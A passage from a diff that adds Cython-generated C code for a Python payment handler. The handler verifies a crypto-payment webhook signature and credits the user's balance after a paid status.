(likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_body_text = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":159 + * async def check_hash(request): + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( # <<<<<<<<<<<<<< + * "Crypto-Pay-Api-Signature", "No value" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_headers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_crypto_pay_signature = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":162 + * "Crypto-Pay-Api-Signature", "No value" + * ) + * return crypto.check_signature( # <<<<<<<<<<<<<< + * body_text=body_text, crypto_pay_signature=crypto_pay_signature + * ) + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_check_signature); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":163 + * ) + * return crypto.check_signature( + * body_text=body_text, crypto_pay_signature=crypto_pay_signature # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_body_text, __pyx_cur_scope->__pyx_v_body_text) < 0) __PYX_ERR(0, 163, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_crypto_pay_signature, __pyx_cur_scope->__pyx_v_crypto_pay_signature) < 0) __PYX_ERR(0, 163, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":162 + * "Crypto-Pay-Api-Signature", "No value" + * ) + * return crypto.check_signature( # <<<<<<<<<<<<<< + * body_text=body_text, crypto_pay_signature=crypto_pay_signature + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_AddTraceback("check_hash", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_13process_crypto_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_13process_crypto_payment = {"process_crypto_payment", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_13process_crypto_payment, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_13process_crypto_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_payload = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_crypto_payment (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_payload,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_payload)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 167, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_crypto_payment") < 0)) __PYX_ERR(0, 167, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_payload = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_crypto_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 167, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_payment(__pyx_self, __pyx_v_payload); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_payload) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_crypto_payment", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 167, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_payload = __pyx_v_payload; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_payload); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_payload); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4, __pyx_codeobj__24, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_crypto_payment, __pyx_n_s_process_crypto_payment, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *(*__pyx_t_7)(PyObject *); + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + Py_ssize_t __pyx_t_12; + Py_UCS4 __pyx_t_13; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + char const *__pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_crypto_payment", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L13_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":168 + * + * async def process_crypto_payment(payload): + * if payload["status"] == "paid": # <<<<<<<<<<<<<< + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_paid, Py_EQ)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":169 + * async def process_crypto_payment(payload): + * if payload["status"] == "paid": + * custom_payload = payload["payload"] # <<<<<<<<<<<<<< + * user_id_str, amount_str = custom_payload.split(":") + * try: + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_payload); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 169, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_custom_payload = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":170 + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") # <<<<<<<<<<<<<< + * try: + * user_id = int(user_id_str) + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_custom_payload, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_kp_u__12}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if ((likely(PyTuple_CheckExact(__pyx_t_1))) || (PyList_CheckExact(__pyx_t_1))) { + PyObject* sequence = __pyx_t_1; + Py_ssize_t size = __Pyx_PySequence_SIZE(sequence); + if (unlikely(size != 2)) { + if (size > 2) __Pyx_RaiseTooManyValuesError(2); + else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size); + __PYX_ERR(0, 170, __pyx_L1_error) + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + if (likely(PyTuple_CheckExact(sequence))) { + __pyx_t_3 = PyTuple_GET_ITEM(sequence, 0); + __pyx_t_4 = PyTuple_GET_ITEM(sequence, 1); + } else { + __pyx_t_3 = PyList_GET_ITEM(sequence, 0); + __pyx_t_4 = PyList_GET_ITEM(sequence, 1); + } + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + #else + __pyx_t_3 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + #endif + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } else { + Py_ssize_t index = -1; + __pyx_t_6 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_6); + index = 0; __pyx_t_3 = __pyx_t_7(__pyx_t_6); if (unlikely(!__pyx_t_3)) goto __pyx_L5_unpacking_failed; + __Pyx_GOTREF(__pyx_t_3); + index = 1; __pyx_t_4 = __pyx_t_7(__pyx_t_6); if (unlikely(!__pyx_t_4)) goto __pyx_L5_unpacking_failed; + __Pyx_GOTREF(__pyx_t_4); + if (__Pyx_IternextUnpackEndCheck(__pyx_t_7(__pyx_t_6), 2) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + __pyx_t_7 = NULL; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + goto __pyx_L6_unpacking_done; + __pyx_L5_unpacking_failed:; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_7 = NULL; + if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index); + __PYX_ERR(0, 170, __pyx_L1_error) + __pyx_L6_unpacking_done:; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_3; + __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/cryprobot_pay.py":171 + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = int(amount_str) + */ + { + __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":172 + * user_id_str, amount_str = custom_payload.split(":") + * try: + * user_id = int(user_id_str) # <<<<<<<<<<<<<< + * amount = int(amount_str) + * await add_payment(int(user_id), float(amount), "cryptobot") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":173 + * try: + * user_id = int(user_id_str) + * amount = int(amount_str) # <<<<<<<<<<<<<< + * await add_payment(int(user_id), float(amount), "cryptobot") + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":174 + * user_id = int(user_id_str) + * amount = int(amount_str) + * await add_payment(int(user_id), float(amount), "cryptobot") # <<<<<<<<<<<<<< + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_11, __pyx_t_3, __pyx_t_6, __pyx_n_u_cryptobot}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 3+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 174, __pyx_L7_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 174, __pyx_L7_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":175 + * amount = int(amount_str) + * await add_payment(int(user_id), float(amount), "cryptobot") + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_12 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_12 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_kp_u_amount_2); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_4, 3, __pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = 